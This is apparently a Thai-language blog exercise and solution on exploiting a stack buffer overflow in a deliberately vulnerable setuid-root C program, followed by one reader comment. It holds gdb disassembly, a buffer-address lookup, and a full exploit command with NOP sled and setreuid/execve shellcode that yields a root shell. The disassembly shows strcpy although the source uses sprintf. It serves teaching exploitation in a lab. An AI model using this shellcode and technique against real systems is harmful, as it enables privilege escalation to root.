หลังจากอ่านและลองทำตามมาแล้ว คราวนี้มาลองทำแบบฝึกหัดบ้าง ผมเขียนว่าแบบฝึกหัดแสดงว่า ถ้าใครอ่านมาตั้งแต่ต้นและเข้าใจ ก็น่าจะที่จะทำเองได้โดยไม่ต้องดูเฉลย (แต่ต้องคิดนิดหน่อย เพราะผมดัดแปลงแบบฝึกหัดนิดหน่อยให้ไม่เหมือนเดิม) มาดูแบบฝึกหัดข้อแรกกันเลยดีกว่า
แบบฝึกหัด1 (ex_06_3.c)
/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_3 ex_06_3.c sudo su -c "chown root: ex_06_3;chmod 4755 ex_06_3" */ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[256]; sprintf(buf, "%s", argv[1]); return 0; }
ในแบบฝึกหัดนี้ ผมได้เปลี่ยน function จาก strcpy เป็น sprintf และผมได้เอา gcc option ออกไปตัวหนึ่งคือ -mpreferred-stack-boundary
option ที่ผมเอาออก คือกำหนดว่า stack alignment ว่าเป็นเท่าไร (ถ้าใครไม่เคยได้ยิน alignment อธิบายสั้นๆ ก็ byte alignment คืออยู่ที่ address ที่หารด้วย 1 ลงตัว word alignment คือที่หารด้วย 2 ลงตัว และ dword alignet คือหารด้วย 4 ลงตัว) โดยในตัวอย่างในหัวข้อก่อนหน้าผมได้ระบุว่าว่าเป็น 22=4 bytes แต่ครั้งนี้ให้เป็น default คือ 24=16 bytes ลอง disassemble ดูนะครับ จะเห็นความแตกต่าง
เฉลย
ก่อนจะเขียน exploit เรามาดูความแตกต่างจากการเอา option -mpreferred-stack-boundary ออกกันก่อนด้วย gdb
$ gdb -q ./ex_06_3 Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x080483c4 <+0>: push %ebp 0x080483c5 <+1>: mov %esp,%ebp 0x080483c7 <+3>: and $0xfffffff0,%esp # เพิ่มขึ้นมาใน function prologue เพื่อทำ stack alignment 0x080483ca <+6>: sub $0x110,%esp # จากเดิมที่ลบ 8 bytes สำหรับส่ง argument กลายเป็น 16 bytes 0x080483d0 <+12>: mov 0xc(%ebp),%eax 0x080483d3 <+15>: add $0x4,%eax 0x080483d6 <+18>: mov (%eax),%eax 0x080483d8 <+20>: mov %eax,0x4(%esp) 0x080483dc <+24>: lea 0x10(%esp),%eax # เก็บ address ของ buf ไว้ที่ eax สังเกตว่าใช้ esp ไม่ได้ใช้ ebp 0x080483e0 <+28>: mov %eax,(%esp) 0x080483e3 <+31>: call 0x80482fc <strcpy@plt> 0x080483e8 <+36>: mov $0x0,%eax 0x080483ed <+41>: leave 0x080483ee <+42>: ret End of assembler dump. (gdb) q
จะเห็นว่า "and $0xfffffff0,%esp" เพื่อทำให้ address ของ esp หารด้วย 16 ลงตัว แล้วก็ทำ "sub $0x110,%esp" เพื่อจอง memory สำหรับ local variables และ argument ที่จะส่ง แต่จะมีการปัดค่าขึ้นให้หารด้วย 16 ลงตัว
การ and ค่า esp เพื่อทำ stack alignment ทำให้โปรแกรมไม่สามารถใช้ ebp เพื่ออ้างถึง local variables ได้ และที่มีผลกระทบต่อการเขียน exploit คือเราไม่รู้ว่า ระยะห่างจาก buf ไปถึง saved eip เป็นเท่าไร เพราะมันสามารถเปลี่ยนแปลงได้
วิธีง่ายๆ ในการแก้ปัญหานี้ก็คือ เราจะใส่ address ที่จะเขียบทับ saved eip ต่อท้าย shellcode เยอะๆ ขอแค่ address ซักอันเขียนทับ saved eip ก็พอ ตามรูป
เมื่อได้ concept แล้ว ก็ถึงเวลาทำจริง เริ่มจากการหา address ของ buf
$ gdb -q ex_06_3 Reading symbols from /home/worawit/tutz/ch06/ex_06_3...(no debugging symbols found)...done. (gdb) b *0x080483e3 Breakpoint 1 at 0x80483e3 (gdb) r `perl -e 'print "U"x200'` Starting program: /home/worawit/tutz/ch06/ex_06_3 `perl -e 'print "U"x200'` Breakpoint 1, 0x080483e3 in main () (gdb) x/x $esp+0x10 0xbffff540: 0x0000002c (gdb) q
ได้ address ของ buf คือ 0xbffff540 ก็ถึงเวลา exploit โดยผมจะใส่ address ของ buf ไปทั้งหมด 10 ครั้ง คือเขียนเกิน saved eip ไปเลย เพื่อให้แน่ใจว่าโดนเขียนทับแน่ๆ แต่ที่สำคัญที่สุดคือ address ของ buf ต้องเขียนทับตรง block ของ saved eip
# nop (206 bytes) + setreuid (10 bytes) + execve (24 bytes) $ ./ex_06_3 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x40\xf5\xff\xbf"x10'` # id uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit) # exit
ได้แล้ว ง่ายมั้ยครับ แต่ผมอยากให้ลองเพิ่มเองอีกหน่อยคือ แก้จำนวนของ nop ให้เป็น 207,208,209 ดู มันจะเกิด segmentation fault แล้วถ้าไม่เข้าใจว่าทำไม ก็ให้ลองทำใน gdb นะครับ
ผมลองเปลี่ยน nop เป็น 222 ได้ Illegal instruction, Illegal instruction หมายความว่าอะไรเหรอครับ
ReplyDelete